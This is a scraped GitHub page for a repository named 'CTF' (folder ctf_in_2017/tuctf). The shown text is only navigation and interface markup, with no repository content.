data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="jY7PvPWBPXRpSjlXevasFenuzUwU8Fgm76+qMZdzLGbRbIZsMFTUUhTydOj/hvaPS6leyZBXHICM3XutCNZvaA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vngkv123 </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>14</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>38</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vngkv123/CTF/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":105910326,"originating_url":"https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf","user_id":null}}" data-hydro-click-hmac="3eacc9a2029da58672ed9f227bd7abf0392269baef27dd46a04e32a87c06b58f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vngkv123/CTF/refs" cache-key="v0:1507219027.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dm5na3YxMjMvQ1RG" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
